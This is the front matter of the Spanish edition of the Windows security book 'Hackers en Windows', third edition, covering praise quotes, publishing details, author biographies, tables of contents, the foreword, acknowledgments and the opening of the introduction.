Hakers en Windows PDF

00_Scambray_preliminareS.
indd 2 7/29/08 7:39:14 pm

Elogios para Hackers en Windows, tercera edición
“Es su capacidad para ayudar a realizar una evaluación de riesgo exacta lo que hace que Hackers en Windows
resulte valioso. Hay pocos lugares donde se puede echar un vistazo completo al paisaje de la seguridad en
que vive Windows. Joel y sus colaboradores han hecho un extraordinario trabajo para documentar los avan-
ces más recientes en amenazas, incluidos desbordamientos de búfer, rootkits y creación de secuencias
de comandos de sitio cruzado, además de tecnologías defensivas, como no ejecutables, control de cuentas de
usuario de Vista y aleatorización en el diseño del espacio de direcciones. Si la comprensión de seguridad en
Windows se encuentra en algún lugar de su descripción de trabajo, le recomiendo que lea este libro y que lo
mantenga como referencia para su batalla constante”.
—Mark Russinovich, colaborador técnico, Microsoft Corporation
“Los autores y colaboradores de Hackers en Windows han tomado una vez más sus experiencias únicas y han
dado forma a una lectura obligatoria para los profesionales de seguridad y para aventureros de tecnología
por igual. De principio a fin, Hackers en Windows, tercera edición, elimina la ambigüedad al describir herra-
mientas y técnicas del moderno ciberbribón, dando armas al lector al eliminar este misterio. Los autores pa-
san a entregar el “platillo secreto” en la receta de la ciberseguridad y son especialistas en Infosecretos”.
—Greg Wood, CISO, Washington Mutual
“El paisaje de las amenazas a la seguridad ha experimentado cambios revolucionarios desde la primera edi-
ción de Hackers en Windows. La tecnología para explotar sistemas ha evolucionado de manera considerable
porque ahora se ha vuelto más disponible, lo que intensifica el riesgo de compromiso en este mundo que
cada vez se encuentra más en línea. Hackers en Windows sigue siendo la autoridad en el tema, al proporcionar
los conocimientos y la guía práctica que administradores de sistemas Windows y profesionales de seguridad
necesitan para estar bien equipados ahora y para el viaje que han emprendido”.
—Peter Boden, administrador general, Seguridad de servicios en línea, Microsoft
“El amigo venerable de Microsoft Windows cubre millones de líneas de código compiladas en un sistema
complejo, a menudo responsable de entregar servicios vitales a sus clientes. A pesar de las mejores intencio-
nes de sus creadores, todas las versiones de Windows seguirán siendo vulnerables a ataques en la capa de
aplicaciones, en el kernel, desde la red, y todo lo que queda en medio. Joel Scambray y sus colaboradores
proporcionan un catálogo muy completo de amenazas y contramedidas para Windows en una guía inmen-
samente legible. Si Windows es el vehículo de cómputo que debe asegurar, Hackers en Windows es su licencia
de manejo.”
—Jim Reavis, anterior director ejecutivo, Information Systems Security Association
“La seguridad en la computación está cambiando con Windows Vista y los hackers se han visto obligados a
aprender nuevos métodos de ataque. Por fortuna, usted tiene este libro”.
—Brad Albretch, administrador de programas de seguridad, Microsoft
“A medida que Microsoft sigue mejorando sus sistemas operativos, Hackers en Windows, tercera edición sigue
estando a la cabeza de la industria, ayudando a lectores a comprender amenazas reales al entorno de Win-
dows y enseñando cómo defenderse de esas amenazas. Cualquier persona que quiera ejecutar Windows de
manera segura, necesita una copia de este libro al lado de su PC.”
—James Costello (CISSP) especialista en seguridad de Tecnología de la información, Honeywell
00_Scambray_preliminareS.indd 1 7/29/08 7:39:14 pm

HACKERS
EN WINDOWS
SECRETOS y SOluCIONES
DE SEguRIDAD EN WINDOWS
TERCERA EDICIóN
Joel Scambray
Stuart mcclure
Traducción:
Eloy Píneda Rojas
Traductor profesional
méxico • bogotá • buenoS aireS • caracaS • guatemala • liSboa

madrid • nueva york • San Juan • Santiago
auckland • londreS • milán • montreal • nueva delhi
San FranciSco • Singapur • St.louiS • Sydney • toronto

Director editorial: Fernando Castellanos Rodríguez
editor de desarrollo: Miguel Ángel Luna Ponce
Supervisora de producción: Jacqueline Brieño Álvarez
Formación: Braulio Morales Sánchez
Hackers en Windows. Secretos y soluciones de seguridad en Windows

tercera edición
Prohibida la reproducción total o parcial de esta obra,

por cualquier medio, sin la autorización escrita del editor.
DERECHOS RESERVADOS © 2009 respecto a la primera edición en español por

McGRAW-HILL INTERAMERICANA EDITORES, S.A. DE C.V.
A Subsidiary of The McGraw-Hill Companies, Inc.
Corporativo Punta Santa Fe
Prolongación Paseo de la Reforma 1015 Torre A
Piso 17, Colonia Desarrollo Santa Fe,
Delegación Álvaro Obregón
C.P. 01376, México, D. F.
Miembro de la Cámara Nacional de la Industria Editorial Mexicana, Reg. Núm. 736
ISBN 13: 978-970-10-6755-0

ISBN 10: 970-10-6755-X
Translated from the 3th English edition of

Hacking Exposed Windows: MS Windows Security Secrets & Solutions
By: Joel Scambray and Stuart McClure
Copyright © 2008 by The McGraw-Hill Companies Inc.. All rights reserved.
ISBN: 978-0-07-149426-7
3456789012 8765432109
Impreso en México Printed in Mexico

AcercA de los Autores
Joel scambray
Joel Scambray es director de Estrategia en Leviathan Security Group, empresa de asesoría en se-
guridad de la información ubicada en Seattle y Denver. Como miembro del consejo de adminis-
tración y del equipo de ejecutivos de Leviathan, Joel guía la evolución y ejecución del negocio y
la estrategia técnica de Leviathan.
Antes de Leviathan, Joel fue director en Microsoft Corporation, donde dirigió los esfuerzos
de seguridad de los servicios en línea de Microsoft durante tres años, antes de unirse a la divi-
sión de la plataforma y los servicios de Windows, para concentrarse en la arquitectura de la tec-
nología de la seguridad fue cofundador de la firma de software y servicios de seguridad
Foundstone Inc. y ayudó a llevarla a su adquisición por parte de McAfee por 86 millones de dó-
lares. Antes tuvo puestos como gerente para Ernst & Young, columnista de seguridad en Micro-
soft TechNet, editor de InfoWorld Magazine y director de tecnología de la información de una
importante firma comercial de bienes raíces.
Los escritos de Joel se basan principalmente en su experiencia en el desarrollo de tecnología
de seguridad, la seguridad de operaciones de tecnología de la información y la consultoría. Es
autor de Hackers 4 de McGraw-Hill Educación. Ha trabajado con algunas de las empresas más
grandes del mundo hasta pequeñas empresas que apenas inician. Ha dictado conferencias sobre
seguridad de la información en foros que incluyen Black Hat, I-4 y The Asia Europe Meeting
(ASEM), además de organizaciones que incluyen CERT, The Computer Security Institute (CSI)
ISSA, ISACA, SANS, corporaciones privadas y agencias gubernamentales, como la Korean In-
formation Security Agency (KISA), FBI y RCMP.
Joel tiene una licenciatura en ciencias de la Universidad de California en Davis, una maestría
por la UCLA y es profesional certificado de seguridad de sistemas de información (CISSP, Certi-
fied Information Systems Security Professional).
stuart Mcclure
Stuart McClure es consultor independiente de seguridad computacional del sur de California.
Antes de regresar a dirigir su propia empresa consultora, Stuart fue vicepresidente de seguridad
de Amenazas e investigación mundial para McAfee, donde dirigió a un equipo de élite de segu-
ridad mundial que combatió los más peligrosos ciberataques jamás vistos. McAfee compró
Foundstone (empresa líder global en administración de riesgo empresarial) en 2004, de la cual
Stuart fue fundador, presidente y director de Tecnología. Foundstone dio servicio a empresas
grandes, incluidas agencias del gobierno de Estados Unidos y clientes de las 500 empresas más
importantes, de acuerdo con la revista Fortune, para administrar y mitigar de manera continua
y medible riesgos para proteger sus activos digitales más importantes y la información privada
de los clientes ante amenazas críticas.
Ampliamente reconocido por su extenso y profundo conocimiento de productos de seguri-
dad, Stuart es considerado una de las autoridades líderes de la industria en seguridad de la in-
formación. Visionario reconocido de la seguridad, Stuart llevó casi 20 años de tecnología y
liderazgo ejecutivo a Foundstone con profunda experiencia técnica, operativa y financiera.

En 1999, publicó el primero de muchos libros sobre hackers computacionales y seguridad.
Su primer libro, Hacking Exposed: Network Security Secrets & Solutions, ha sido traducido a más de
20 idiomas y ha sido clasificado como el cuarto libro más vendido sobre computación, colocán-
dolo como uno de los libros sobre seguridad y computación mejor vendidos en la historia. Stuart
es coautor de Hackers 4 de McGraw-Hill Educación.
Antes de Foundstone, Stuart tuvo muchos puestos administrativos en seguridad y tecnolo-
gía de la información, incluidos puestos en el equipo de perfilado de seguridad nacional de
Ernst & Young, el InfoWorld Test Center, el gobierno estatal de California y otras administracio-
nes locales, consultoría en tecnología de la información y con la Universidad de Colorado, Boul-
der, de donde Stuart tiene una licenciatura en psicología y filosofía, con énfasis en aplicaciones
en las ciencias computacionales. Ha obtenido numerosos certificados, incluidos CISSP de ISC2,
CNE de Novell y CCSE de CheckPoint.
AcercA de los colABorAdores

Chip Andrews (CISSP, MCDBA) es la cabeza de Research and Development for Special Ops Se-
curity. Chip es fundador del sitio Web SQLSecurity.com, que se concentra en temas y problemas
de seguridad de Microsoft SQL Server. Tiene más de 16 años de experiencia en el desarrollo de
software seguro, ayudando a clientes a diseñar, desarrollar, desplegar y mantener software con-
fiable y seguro. Chip ha sido autor y colaborador de varios libros, incluidos SQL Server Security
y Hacking Exposed: Windows Server 2003. También es autor de artículos que se concentran en pro-
blemas de seguridad y desarrollo de software en SQL Server para revistas como Microsoft Certi-
fied Professional Magazine, SQL Server Magazine y Dr. Dobb’s Journal. Es un orador importante en
conferencias de seguridad como Black Hat Briefings.
Blake Frantz tiene más de diez años de experiencia profesional en seguridad de la información,
con amplios antecedentes que van de investigación de seguridad en software a desarrollo de po-
líticas empresariales. Actualmente es consultor importante para el Leviathan Security Group,
donde se especializa en pruebas de penetración y revisiones de código fuente. Antes de Le-
viathan, Blake era ingeniero de seguridad dentro de los equipos de seguridad de la infraestruc-
tura y aseguramiento de la seguridad de Washington Mutual, donde ha sido responsable de
conducir evaluación de vulnerabilidades de sistemas financieros críticos.
Robert Hensing, veterano de nueve años en Microsoft, es ingeniero en seguridad del software
del equipo de la iniciativa de Windows seguro. Robert trabaja de cerca con el Centro de Respues-
ta de Seguridad de Microsoft, con la misión de identificar mitigaciones y rodeos para vulnerabi-
lidades de productos que pueden documentarse en advertencias y boletines para ayudar a pro-
teger a los clientes de Microsoft. Antes de unirse al equipo de la iniciativa de Windows seguro,
Robert fue miembro experimentado del equipo de seguridad de servicios de soporte a produc-
tos, donde ayudó a los clientes en investigaciones relacionadas con respuestas a incidentes.
El Toolcrypt Group (www.toolcrypt.org) es una asociación de consultores profesionales en se-
guridad reconocidos internacionalmente y que tienen gran cantidad de contratos en Europa y
Estados Unidos. Su trabajo ha ayudado a mejorar la seguridad de agencias gubernamentales,
multinacionales, instituciones financieras, plantas nucleares y proveedores de servicios de todos
los tamaños en muchos países diferentes. Son oradores invitados en gran cantidad de conferen-
cias y foros de la industria, incluida BlueHat de Microsoft y T2 en Finlandia. Investigación
continua y desarrollo de herramientas de Toolcrypt sigue ayudando a los profesionales respon-
sables de la seguridad a mejorar mundialmente la seguridad de redes y equipos.

Dave Wong dirige el Centro de Seguridad Avanzada de Ernst & Young, en Nueva York, donde
encabeza un equipo de profesionales de prueba de ataques dirigidos y penetración. Dave tiene
más de diez años de experiencia en esta área y ha dirigido y realizado cientos de evaluaciones
para servicios financieros, gobierno y clientes de empresas que se encuentran entre las 500 más
importantes, de acuerdo con la revista Fortune. Antes de unirse a Ernst & Young, obtuvo una
amplia serie de experiencias relacionadas con la seguridad de la información y antes trabajó en
Lucent’s Bell Laboratories, Foundstone y Morgan Stanley. Dave ha dictado varios cursos de hac-
keo y código seguro para el público y clientes corporativos. Ha dado cursos en las conferencias
de seguridad de Black Hat en Estados Unidos y Asia, y ha hablado en las reuniones OWASP.
Dave también es profesional certificado de seguridad de sistemas de información (CISSP, Certi-
fied Information Systems Security Professional).
AcercA de los reVIsores tÉcNIcos

Aaron Turner es estratega de ciberseguridad para el Idaho National Laboratory (INL). En este
papel, aplica su experiencia en seguridad de la información para colaborar con expertos en sis-
temas de control, ingenieros de la industria, oficiales de seguridad nacional para desarrollar so-
luciones ante las ciberamenazas que está enfrentando en la actualidad la infraestructura crítica.
Antes de unirse a INL, trabajó en varias divisiones de seguridad de Microsoft durante siete años
(como estratega de seguridad experimentado dentro de la Unidad de Tecnología de la Seguri-
dad, además de gerente de Respuesta rápida de seguridad en el grupo de ventas, mercadotecnia
y servicios de Microsoft donde dirigió el desarrollo del curso de seguridad de la información en
Microsoft para más de 22 000 empleados de campo de Microsoft). Antes de concentrarse en el
desafío de la respuesta rápida de seguridad global de Microsoft, manejó la respuesta de los ser-
vicios de Microsoft para las necesidades empresariales durante las secuelas del gusano Blaster.
Ha practicado la seguridad de la información desde 1994, diseñando soluciones de seguridad y
respondiendo a incidentes en más de 20 países de todo el mundo.
Lee Yan (CISSP, PhD) es ingeniero en escalamiento de seguridad en el grupo de seguridad PSS
de Microsoft, que proporciona respuesta de seguridad, productos de seguridad y soporte de tec-
nología en todo el mundo para clientes de Microsoft. Ha estado con Microsoft durante más de
diez años. Antes de unirse al equipo de seguridad hace unos cinco años, era ingeniero de esca-
lamiento en soporte al desarrollador para Visual Studio. Es autor de algunas de las respuestas a
incidentes y de herramientas de detección de rootkits para su equipo. Es doctor en Explotación
pesquera por la Universidad de Washington y descubrió por accidente que disfruta el trabajo
con los equipos de cómputo.

Contenido BReVe
▼ 1 Fundamentos de seguridad relacionada con información ....................................... 1
▼ 2 La arquitectura de seguridad de Windows desde la perspectiva del hacker ...... 15
▼ 3 Recolección de información y rastreo ........................................................................ 53
▼ 4 Enumeración.................................................................................................................. 73
▼ 5 Hackeo de servicios específicos de Windows......................................................... 115
▼ 6 Descubrimiento y explotación de vulnerabilidades de Windows ....................... 165
▼ 7 Saqueo después de la explotación ............................................................................ 185
▼ 8 Cómo pasar inadvertido y mantener presencia ..................................................... 225
▼ 9 Hackeo de SQL server ................................................................................................ 273
▼ 10 Hackeo de aplicaciones cliente de microsoft .......................................................... 317
▼ 11 Ataques físicos ............................................................................................................ 345
▼ 12 Características y herramientas de seguridad de Windows .................................. 367
▼ A Lista de verificación de la seguridad de Windows ................................................ 405
▼ B Acerca del sitio web del libro en inglés ................................................................... 421
Índice ............................................................................................................................ 423
ix

Contenido
Prólogo ...................................................................................................................................................xvii
Agradecimientos ................................................................................................................................... xix
Introducción ........................................................................................................................................... xxi
▼ 1 Fundamentos de seguridad relacionada con información ...................................................... 1

Un marco conceptual para la seguridad de las operaciones.............................................................. 2
Plan .................................................................................................................................................. 3
Prevención ...................................................................................................................................... 8
Detección ........................................................................................................................................ 8
Respuesta ........................................................................................................................................ 9
Pulimento y repetición.................................................................................................................. 9
Principios básicos de seguridad ........................................................................................................... 10
Resumen .................................................................................................................................................. 13
Referencias y lecturas adicionales........................................................................................................ 14
▼ 2 La arquitectura de seguridad de Windows desde la perspectiva del hacker ............................... 15

Introducción ............................................................................................................................................ 16
Ataque al kernel........................................................................................................................... 17
Ataque del modo de usuario ..................................................................................................... 18
Revisión general del control de acceso ............................................................................................... 19
Directivas de seguridad......................................................................................................................... 19
SID ................................................................................................................................................. 20
¿Por qué no puede iniciar en todos lados una sesión como administrador? ..................... 20
Usuarios ........................................................................................................................................ 22
Grupos........................................................................................................................................... 25
Equipos (cuentas de máquina) .................................................................................................. 28
Derechos de usuario.................................................................................................................... 30
Integración de todas las piezas: control de acceso ............................................................................ 31
La ficha .......................................................................................................................................... 32
Autentificación de red ................................................................................................................ 36
SAM y Active Directory ............................................................................................................. 39
Bosques, árboles y dominios ................................................................................................................ 41
Alcance: local, global y universal .............................................................................................. 42
Confianzas .................................................................................................................................... 43
Límites administrativos: ¿bosque o dominio? ........................................................................ 43
xi

xii Hackers en Windows
Auditoría ................................................................................................................................................. 46
Criptografía .................................................................................................................................. 47
El .NET framework ..................................................................................................................... 48
Resumen .................................................................................................................................................. 50
▼ 3 Recolección de información y rastreo ............................................................................ 53

Recolección de información .................................................................................................................. 54
Rastreo ..................................................................................................................................................... 60
Palabras finales sobre recopilación de información y rastreo.......................................................... 69
Resumen .................................................................................................................................................. 70
▼ 4 Enumeración .......................................................................................................... 73
Preludio: revisión de los resultados del rastreo ................................................................................. 74
Nombres de NetBIOS en comparación con direcciones IP ................................................... 74
Enumeración del servicio de nombres de NetBIOS .......................................................................... 77
Enumeración de RPC ............................................................................................................................. 82
Enumeración de SMB ............................................................................................................................ 84
Enumeración de DNS de Windows ................................................................................................... 101
Enumeración de SNMP ....................................................................................................................... 103
Enumeración de Active Directory...................................................................................................... 107
Herramientas de enumeración todo en uno......................................................................................111
Resumen .................................................................................................................................................112
Referencias y lecturas adicionales.......................................................................................................113
▼ 5 Hackeo de servicios específicos de Windows ................................................................. 115

Adivinación de contraseñas.................................................................................................................117
Cierre para el destino de sesiones SMB existentes ................................................................117
Revisión de resultados de enumeración .................................................................................118
Evite bloqueos de cuentas .........................................................................................................119
La importancia de las cuentas Administrador y de servicios ............................................. 121
Espionaje sobre la autentificación de Windows .............................................................................. 137
Subversión de la autentificación de Windows ................................................................................. 148
Explotación de servicios exclusivos de Windows ........................................................................... 156
Resumen ................................................................................................................................................ 161
Referencias y lecturas adicionales...................................................................................................... 162
▼ 6 Descubrimiento y explotación de vulnerabilidades de Windows ........................................... 165

Vulnerabilidades de seguridad .......................................................................................................... 166
Búsqueda de vulnerabilidades de seguridad................................................................................... 166
Trabajo de preparación ............................................................................................................. 167
Explotación de ANI ................................................................................................................... 181
Resumen ................................................................................................................................................ 184

Contenido xiii
▼ 7 Saqueo después de la explotación .............................................................................. 185

Transferencia del kit de herramientasdel atacante para mayor dominio .................................... 186
Control interactivo remoto.................................................................................................................. 191
Extracción de contraseñas ................................................................................................................... 201
Introducción al uso de credenciales de aplicación y la DPAPI ........................................... 205
Descubrimiento de contraseñas ......................................................................................................... 210
Descubrimiento de hashes de LM........................................................................................... 210
Descubrimiento de hashes de NT ........................................................................................... 214
Enjuagar y volver a hacerlo ................................................................................................................ 220
Resumen ................................................................................................................................................ 220
▼ 8 Cómo pasar inadvertido y mantener presencia ................................................................ 225

El surgimiento de los rootkits ............................................................................................................. 226
Rootkits de Windows ................................................................................................................ 227
El entorno cambiante de la amenaza ................................................................................................. 229
Cómo pasar inadvertido: técnicas modernas ................................................................................... 235
Funcionamiento interno de Windows .................................................................................... 235
DKOM ......................................................................................................................................... 240
Shadow Walker .......................................................................................................................... 245
Software antivirus en oposición a rootkits ....................................................................................... 246
Windows vista en oposición a los rootkits ....................................................................................... 247
Protección de parche de kernel (KPP): Patchguard .............................................................. 247
Control de cuentas de usuario: está a punto de ser atacado, ¿cancelar o permitir? ........ 248
Inicio seguro ............................................................................................................................... 250
Otras mejoras de seguridad ..................................................................................................... 251
Resumen de Vista en oposición a los rootkits ....................................................................... 251
Herramientas y técnicas de detección de rootkits ........................................................................... 252
El ascenso de las herramientas de detección de rootkits ..................................................... 252
Detección de rootkits basada en vista cruzada ..................................................................... 253
Tecnologías de detección de rootkits ad hoc ......................................................................... 254
El futuro de los rootkits ....................................................................................................................... 262
¿Los rootkits son siquiera necesarios?............................................................................................... 262
Resumen ................................................................................................................................................ 268
▼ 9 Hackeo de sql server ............................................................................................... 273

Estudio de caso: penetración de un SQL server............................................................................... 274
Conceptos de seguridad de SQL server ............................................................................................ 277
Bibliotecas de red....................................................................................................................... 277
Modos de seguridad ................................................................................................................. 278
Inicios de sesión ......................................................................................................................... 278
Usuarios ...................................................................................................................................... 279
Funciones .................................................................................................................................... 279
Registro ....................................................................................................................................... 279
Cambios en SQL server 2005 ................................................................................................... 280

xiv Hackers en Windows
Hackeo de SQL server ......................................................................................................................... 281

Recopilación de información en SQL server ......................................................................... 282
Herramientas y técnicas de hackeo en SQL server.......................................................................... 286
Utilerías básicas de consulta SQL ...................................................................................................... 286
Herramientas avanzadas para hackear SQL .................................................................................... 287
Estrategias defensivas fundamentales .............................................................................................. 306
Mejores prácticas adicionales para la seguridad de SQL server ................................................... 309
Resumen ................................................................................................................................................ 315
▼ 10 Hackeo de aplicaciones cliente de microsoft ................................................................. 317

Explotaciones ........................................................................................................................................ 319
Trucos ..................................................................................................................................................... 328
Contramedidas generales.................................................................................................................... 335
Zonas de seguridad de IE......................................................................................................... 335
Exploración con bajos privilegios ........................................................................................... 339
Resumen ................................................................................................................................................ 340
▼ 11 Ataques físicos ..................................................................................................... 345

Ataques fuera de línea ......................................................................................................................... 346
Implicaciones para EFS............................................................................................................. 349
Ataques en línea ................................................................................................................................... 354
Ataques a dispositivos / medios / conexiones de red ........................................................ 359
Resumen ................................................................................................................................................ 363
▼ 12 Características y herramientas de seguridad de Windows .................................................. 367

Cifrado de unidad BitLocker .............................................................................................................. 368
Configuraciones de BitLocker ................................................................................................. 369
Bitlocker con TPM ..................................................................................................................... 370
Control de integridad de Windows ................................................................................................... 372
Administración de niveles de integridad .............................................................................. 374
Control de cuentas de usuario............................................................................................................ 375
Fichas y procesos ....................................................................................................................... 375
Eliminación de privilegios administrativos ......................................................................... 376
Endurecimiento de los servicios de Windows ................................................................................. 377
Aislamiento de los recursos del servicio ................................................................................ 377
Servicios con la menor cantidad de privilegios .................................................................... 380
Refactorización del servicio ..................................................................................................... 385
Acceso restringido a red ........................................................................................................... 386
Aislamiento de la sesión 0 ........................................................................................................ 386
Su compilador puede salvarlo............................................................................................................ 387
Revisión general de los sobreflujos ......................................................................................... 387
Cookies de GS ............................................................................................................................ 388
SafeSEH....................................................................................................................................... 392

Contenido xv
Explotaciones de sobreescritura de SEH................................................................................ 393

Aleatorización del diseño del espacio de direcciones .......................................................... 398
Protección de recursos de windows .................................................................................................. 399
Resumen ................................................................................................................................................ 402
▼ A Lista de verificación de la seguridad de Windows ............................................................ 405

Advertencia de suspensión: funciones y responsabilidades ......................................................... 406
Consideraciones de preinstalación .................................................................................................... 406
Endurecimiento básico de Windows ................................................................................................. 407
Recomendaciones para los casos en que no se usan plantillas ........................................... 407
Recomendaciones relacionadas con plantillas de seguridad .............................................. 409
Firewall de Windows e IPSsec ..................................................................................................411
Directiva de grupo .................................................................................................................... 412
Configuraciones diversas ......................................................................................................... 412
SNMP .......................................................................................................................................... 413
Consideraciones de seguridad de aplicaciones web ....................................................................... 413
Consideraciones relacionadas con la seguridad de SQL server .................................................... 414
Consideraciones relacionadas con la seguridad de terminal server ............................................. 416
Consideraciones relacionadas con la negación del servicio........................................................... 417
Seguridad del cliente de internet ....................................................................................................... 418
Audítese usted mismo ......................................................................................................................... 420
▼ B Acerca del sitio web del libro en inglés ........................................................................ 421
Índice ....................................................................................................................................................... 423

PRólogo
L
a seguridad es un tema amplio y crece a medida que nos volvemos más dependientes de
los equipos de cómputo para todo lo que hacemos, desde el trabajo en casa hasta los ratos
de ocio; y nuestros equipos se interconectan cada vez más. La mayor parte de nuestras
experiencias en computación ahora necesitan conexiones de Internet, o son enriquecidas por
éste, lo que significa que nuestros sistemas están constantemente expuestos a datos externos de
integridad desconocida o incierta. Cuando hace clic en vínculos de búsqueda, descarga aplica-
ciones o configura servidores que dan a Internet, cada línea de código a través de la que fluyen
datos está sujeta a una tormenta de prueba en busca de configuraciones vulnerables, lógica falli-
da de programación e implementaciones erróneas (aún dentro de los confines de una red corpo-
rativa). Sus datos y recursos de cómputo valen dinero en la economía Web 2.0, y donde hay di-
nero, hay gente que lo quiere robar.
A medida que la Web ha evolucionado, también hemos visto evolucionar a los delincuentes.
Hace diez años, la amenaza era un virus de macro insertado en correo electrónico que eliminaba
sus datos. Hace cinco años, era la propagación automática de gusanos que usaban sobreflujos de
búfer para incluir equipos en redes de ataque distribuidas de negación de servicio. Hace tres
años, la amenaza prevalente se volvió el malware que se extiende a su equipo cuando visita si-
tios Web infectados y que subsecuentemente envía ventanas emergentes y le propone anti-
malware falso. Recientemente, el malware usa todas estas técnicas de propagación para dispersar
en una red distribuida “elementos de arranque” de propósito general que sirven sus datos, rea-
lizan negación de servicio o distribuyen correo basura. El futuro es de malware orientado que
deliberadamente es de bajo volumen y está personalizado para clases de usuarios, corporacio-
nes específicas o incluso un solo individuo.
También hemos visto evolucionar la seguridad de los equipos de cómputo. Los antivirus es-
tán por todos lados, desde los enrutadores en los extremos hasta los servidores, los clientes y,
pronto, los dispositivos móviles. Las firewalls son igualmente ubicuas y bloquean la entrada no
usada y las vías de salida. Los sistemas operativos y las aplicaciones están escritas con la seguri-
dad presente y están endurecidos con medidas de defensa a profundidad como no ejecución y
aleatorización de diseño de direcciones. Los usuarios no pueden acceder a redes corporativas
sin pasar evaluaciones de salud.
Una cosa es clara: no hay declaración de victoria posible en esta batalla. Es una lucha cons-
tante donde ganan los medios que mantienen a los delincuentes a la espera otro día. Y tampoco
hay una clara estrategia para el éxito. La seguridad en la práctica requiere evaluación de riesgo
y la evaluación exitosa de riesgo requiere una comprensión profunda de las amenazas y las tec-
nologías defensivas.
xvii

xviii Hackers en Windows
Es esta capacidad de ayudar a realizar evaluación acertada de riesgo lo que hace valioso a
Hackers en Windows. Hay pocos lugares donde puede echar una sola mirada al panorama de la
seguridad en que vive Windows. Joel y sus colaboradores han hecho un extraordinario trabajo
de documentar los últimos avances en amenazas, incluidas sobreflujos de búfer, rootkits y crea-
ción de secuencias de comandos de sitio cruzado, además de tecnologías defensivas como no
ejecutables, el Control de cuentas de usuario de Vista y la aleatorización del diseño del espacio
de direcciones. Si se comprende que la seguridad de Windows está en cualquier lugar de su tra-
bajo, le recomiendo que lea este libro de principio a fin y lo mantenga como una referencia para
su batalla constante.
–Mark Russinovich
Colaborador técnico, Microsoft Corporation

AgRAdeCimientos
A
ntes que nada, muchas gracias a todos nuestros familiares por apoyarnos una vez más a
través de más meses de investigación y escritura exigentes. Su comprensión y apoyo fue
crucial para completar este libro. Esperamos que podamos compensar el tiempo que les
quitamos para completar este proyecto.
En segundo lugar, nos gustaría dar las gracias a todos nuestros colegas que contribuyeron
directamente con este libro, incluidos Jussi Jaakonaho y todos en Toolcrypt por sus siempre in-
novadoras actualizaciones a los capítulos sobre hackeo remoto de Windows y saqueo posterior
a la explotación. A Robert Hensing de Microsoft por su capítulo muy completo sobre rootkits de
Windows y técnicas para pasar inadvertidos; a Blake Frantz de Leviathan por su aguda explora-
ción técnica del descubrimiento y la explotación de vulnerabilidades en Windows, además de
las nuevas características de seguridad y herramientas en Vista y Windows Server 2008; a Chip
Andrews, cuya contribución de la información sobre lo último y mejor en seguridad de SQL fue
simplemente estelar, como siempre; a David Wong por su ayuda con la seguridad del cliente; y,
por supuesto, a Mark Russinovich, cuyo prólogo y los muchos años de contribuciones a la in-
dustria vía herramientas, investigación y escritura son apreciados más allá de las palabras.
Como siempre, nos inclinamos profundamente ante todos los individuos que investigan y
escriben de manera incansable las innumerables herramientas el código de prueba de concepto
que documentamos en este libro, además de todas las personas que siguen contribuyendo anó-
nimamente con la base colectiva de código de seguridad de manera cotidiana.
Por supuesto, debemos dar las gracias a los incansables editores y al equipo de producción
de McGraw-Hill que trabajaron en el libro, incluidos nuestra infatigable editora de adquisicio-
nes Jane Brownlow, la editora de adquisiciones Megg Morin quien proporcionó una estupenda
guía mientras Jane estuvo ausente, la editora del salón de la fama de Hacking Exposed LeeAnn
Pickrell, el gurú de producción Jim Kussow y la asistente editorial Jenni Housh, quien mantuvo
las cosas en el camino por un largo periodo, durante la escritura y la edición.
Y, por último, un enorme “Gracias” a todos los lectores de las ediciones previas de este libro
y todos los libros en la serie Hackers, cuyo soporte continuo hace que todo el duro trabajo valga
la pena.
xix

intRoduCCión
seGurIdAd eN WINdoWs: uN VIAJe, No uN destINo
Si va a creerle al gobierno de Estados Unidos, Microsoft Corporation controla un monopolio del
mercado de los sistemas operativos para computadoras y posiblemente también muchos otros
mercados de software relacionados (exploradores Web, software de productividad de oficina,
etcétera). Y a pesar de los continuos esfuerzos de sus adversarios en los medios y el mercado,
Microsoft se las ingenia para mantener su “monopolio” año tras año, volando en el frente de una
historia prolongada de esfuerzos inútiles en tecnología de la información enterrados bajo la car-
nicería inmisericorde del cambio y la creciente volatilidad del consumidor digital. Los ame, los
odie, o ambas cosas, Microsoft sigue produciendo parte del software más ampliamente popular
en el planeta, hoy en día.
Y más aún, en paralelo con esta continua popularidad, muchos medios y muchas autori-
dades en seguridad siguen retratando al software de Microsoft como una fatalidad llena de erro-
res desde una perspectiva de la seguridad. Si los productos de Bill Gates son tan inseguros, ¿por
qué siguen siendo tan populares?
la brecha de seguridad de Windows

La respuesta es en realidad muy simple. Los productos de Microsoft están diseñados para maxi-
mizar la facilidad de uso, lo que justifica su gran popularidad. Lo que muchos no entienden es
que la seguridad es un juego de suma cero: cuanto más fácil sea usar algo, más tiempo y esfuer-
zo debe dedicarse a asegurarlo. Considere que la seguridad es como una línea continua entre los
polos de 100% de seguridad por un lado y 100% de facilidad de uso por el otro. Donde hay un
100% de seguridad hay un 0% de facilidad de uso, y viceversa.
Con el tiempo, Microsoft ha aprendido a encontrar un equilibrio más saludable en esta línea
continua. Algunas cosas simplemente se usan de acuerdo con las configuraciones predetermina-
das (IIS en Windows Server 2003 viene a la mente). Otras las han rediseñado desde cero dando
prioridad a la seguridad (el cambio de arquitectura de IIS para que escuche subprocesos en
modo de kernel y trabaje en modo de usuario también es ejemplar aquí). Más recientemente,
Microsoft ha incluido tecnologías e interfaces de usuario “profilácticas” alrededor de funciona-
lidad existente para dificultar las cosas a los desarrolladores de explotaciones (pensamos en
ASLR, DEP, MIC y Control de cuentas de usuario en Vista). Y, por supuesto, se ha hecho una
gran cantidad de trabajo en las bases: parchar vulnerabilidades en el nivel de código de manera
regular (“el parche del martes” ahora es parte del léxico del administrador de sistema Win-
dows), mejorar la visibilidad y el control (el Centro de seguridad de Windows ahora está
xxi

xxii Hackers en Windows
firmemente incluido en la Charola del sistema/Área de notificación de cada instalación moder-

na de Windows), agregar nueva funcionalidad de seguridad (el antispyware Windows Defen-
der) y hacer firmes mejoras (lo atestigua el avance de la Firewall de Windows desde el casi
independiente filtro IP a su competidor en el mercado integrado, orientado a directivas, bidirec-
cional, consciente del usuario y la aplicación).
¿Ha funcionado? Sí, Windows Vista es más difícil de comprometer en la instalación estándar
que Windows NT 4. ¿Es perfecto? Por supuesto que no: en la práctica, la seguridad nunca lo es
(recuerde esa línea continua). Y como un globo lleno de agua, cuanto más ha oprimido Microsoft
cierto tipo de vulnerabilidad, han surgido más para amenazar a usuarios que no están conscien-
tes de ellas. Analizaremos algunos de los nuevos métodos de ataque en este libro, incluidas las
vulnerabilidades de controladores de dispositivos que dejan al sistema abierto a compromiso
por sólo usar cierto rango de tecnología de red inalámbrica y la tecnología insidiosa para pasar
